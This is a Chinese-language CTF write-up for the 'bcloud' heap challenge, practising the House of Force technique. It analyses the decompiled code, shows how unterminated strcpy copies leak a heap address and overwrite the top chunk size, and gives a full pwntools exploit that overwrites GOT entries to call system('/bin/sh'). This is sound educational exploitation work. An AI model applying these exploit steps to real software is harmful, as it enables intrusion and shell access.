#本题是house of force的练习题之一,house of force的具体操作可以参考上一篇文章#
静态分析:
main()函数:
void __cdecl main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
sub_804899C();
while ( 1 )
{
switch ( sub_8048760() )
{
case 1:
create__();
break;
case 2:
sub_8048AA2();
break;
case 3:
edit__();
break;
case 4:
free__();
break;
case 5:
sub_8048C08();
break;
case 6:
sub_8048C4E();
return;
default:
sub_8048C6C();
break;
}
}
}
可以看出来是一道菜单题(部分函数已经重命名),有增删改三个功能,但是在进入主函数之前还有一个函数:sub_804899C()
sub_804899C()函数:
下面进入这个函数看看:
int sub_804899C()
{
sub_80487A1();
return sub_804884E();
}
这个函数里面还有两个函数,如果运行一下程序就知道这是让我们输入名字,Org和host的函数,而这个部分就是本题主要的漏洞所在。
sub_80487A1()函数:
unsigned int sub_80487A1()
{
char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(s, 0, 0x50u);
puts("Input your name:");
sub_804868D((int)s, 64, 10);
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
strcpy(v2, s);
sub_8048779(v2);
return __readgsdword(0x14u) ^ v3;
}
这是让我们输入名字的部分,程序流程看起来没什么问题,没有明显的溢出,但是问题其实是出在这个strcpy函数中,这个函数是通过strcpy函数将缓冲区里面的数据复制到对应的堆块里,但是strcpy的复制操作是要遇到\x00才会停止的,而由于在栈中存入数据如果数值达到允许输入的最大值,那么后面输入栈的数据就会覆盖掉先前输入数据末尾的\x00,那么strcpy在拷贝时就会把后面输入的数据也拷贝进去,利用这一点就可以完成泄露和溢出的操作。
sub_804884E()函数:
unsigned int sub_804884E()
{
char s[64]; // [esp+1Ch] [ebp-9Ch] BYREF
char *v2; // [esp+5Ch] [ebp-5Ch]
char v3[68]; // [esp+60h] [ebp-58h] BYREF
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(s, 0, 0x90u);
puts("Org:");
sub_804868D((int)s, 64, 10);
puts("Host:");
sub_804868D((int)v3, 64, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, v3);
strcpy(v2, s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}
这里是与上一个函数差不多的流程,可以通过strcpy向某一个堆块内写入溢出数据,并且由于这里的函数流程是申请完所有的两个堆块再拷贝,所以溢出是必然的。
剩下的创建,编辑,删除流程内的函数操作就是常规操作,虽然存在一个off_by_null,但是由于在每次申请时都给我们输入的size加上了4
,所以这个off_by_null就没什么意义了。
保护检察:
32位程序,在溢出操作时要注意增减的数值相较64位要减半,并且没开PIE,可以用绝对地址和got表覆盖
思路整理:
- 通过第一个溢出泄露出堆地址
- 控制top_chunk的size位,触发house of force
- 控制存储堆块指针的数组,利用编辑功能实现got表覆盖
- 获取libc基址,覆盖某个函数的真实地址为system后getshell
堆地址泄露:
这一步只要理解了前面说到strcpy覆盖溢出后其实操作很简单,因为程序会在我们在缓冲里输入数据后在后面自动再添加一个堆地址,这个添加的堆地址会把数据末尾的\x00覆盖掉导致拷贝的时候会把这个地址也拷贝进去,所以我们只要输入0x40个填充触发覆盖后接受回显就可以拿到堆地址了,操作代码如下:
io.recvuntil("Input your name:\n")
io.send(b'a'*0x40)
io.recvuntil(b"a"*0x40)
heap_addr = u32(io.recv(4))
heap_base = heap_addr - 0x8
print(hex(heap_base))
红框里就是由于溢出输入进堆块的地址。
控制top_chunk的size:
这里操作与泄漏时差不多,只不过我们在输入host的数据时要设计一下,只用输入一个0xffffffffffffffff就行了,前面已经说过了,后面进入栈的数据会把前面输入的数据末尾\x00给覆盖掉,但是这里有一个需要特别注意的点:
在进行0x40个字节数据填充时,一定不能使用sendline,因为strcpy遇到回车也会被截断,而sendline会自动发一个回车进栈里,这个回车会导致溢出数据被截断,操作就会失败。
操作代码如下:
io.recvuntil("Org:\n")
io.send(b'a'*0x40)
io.recvuntil("Host:\n")
io.sendline(p32(0xffffffff))
完成操作后的效果如下:
原来top_chunk的size位已经被覆盖为了0xfffffff。
触发house of force控制堆块指针数组:
到这里基本就是常规操作了,计算top_chunk需要移动的距离,之后以这个距离为大小申请一个堆块就可以把top_chunk移动到目标位置,具体的移动距离计算可以看上一篇文章也可以看wiki,这里直接给出操作代码:
offset = heap_arr-0x10 - (heap_base+0xd8)
create(offset,"yms")
操作完之后就可以看见top_chunk已经被绑到堆块指针数组上去了:
got表覆盖:
这里就是常规操作了,思路流程什么的就不多说了,但是这里有一个需要注意的地方就是我们在使用编辑功能时,是要从0x804B0A0这个数组内对出对应堆块的内容长度,我们进入这个地址内看一下:
可以发现在chunk0对应的内容大小指针的数值是个负数,在编辑功能写入时就无法正常写入,所以我们应该用申请后的chunk1来操作,操作代码如下:
payload1 =p32(0) + p32(elf.got['free']) + p32(elf.got['puts'])
payload1 += p32(heap_arr+0x10) + b'/bin/sh\x00'
create(0x20,payload1)
payload2 = p32(elf.plt['puts'])
edit(1,payload2)
free(2)
put_addr = u32(io.recv(4))
print(hex(put_addr))
libc_base = put_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
print(hex(libc_base))
edit(1,p32(sys_addr))
free(3)
io.interactive()
这样就完成了libc基址泄露和got表覆写触发system,有个需要注意的地方就是这里我们向system里面传“/bin/sh\x00”时要使用地址转一下,直接写进system里面是触发不了的,system函数会把直接传入的字符串当一个地址处理,而不是直接当成/bin/sh处理,所以这里用一个p32(heap_arr+0x10) 地址(就是指向/bin/sh字符串的地址)来转一下。
exp:
from pwn import *
context.log_level = 'debug'
io = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
heap_arr = 0x804B120
def create(size,content):
io.recvuntil("option--->>\n")
io.sendline(b'1')
io.recvuntil("content:\n")
io.sendline(str(size))
io.recvuntil("content:\n")
io.sendline(content)
def edit(index,content):
io.recvuntil("option--->>\n")
io.sendline(b'3')
io.recvuntil("Input the id:\n")
io.sendline(str(index))
io.recvuntil("Input the new content:\n")
io.sendline(content)
def free(index):
io.recvuntil("option--->>\n")
io.sendline(b'4')
io.recvuntil("Input the id:\n")
io.sendline(str(index))
io.recvuntil("Input your name:\n")
io.send(b'a'*0x40)
io.recvuntil(b"a"*0x40)
heap_addr = u32(io.recv(4))
heap_base = heap_addr - 0x8
print(hex(heap_base))
io.recvuntil("Org:\n")
io.send(b'a'*0x40)
io.recvuntil("Host:\n")
io.sendline(p32(0xffffffff))
offset = heap_arr-0x10 - (heap_base+0xd8)
create(offset,"yms")
payload1 =p32(0) + p32(elf.got['free']) + p32(elf.got['puts'])
payload1 += p32(heap_arr+0x10) + b'/bin/sh\x00'
create(0x20,payload1)
payload2 = p32(elf.plt['puts'])
edit(1,payload2)
free(2)
put_addr = u32(io.recv(4))
print(hex(put_addr))
libc_base = put_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
print(hex(libc_base))
edit(1,p32(sys_addr))
free(3)
io.interactive()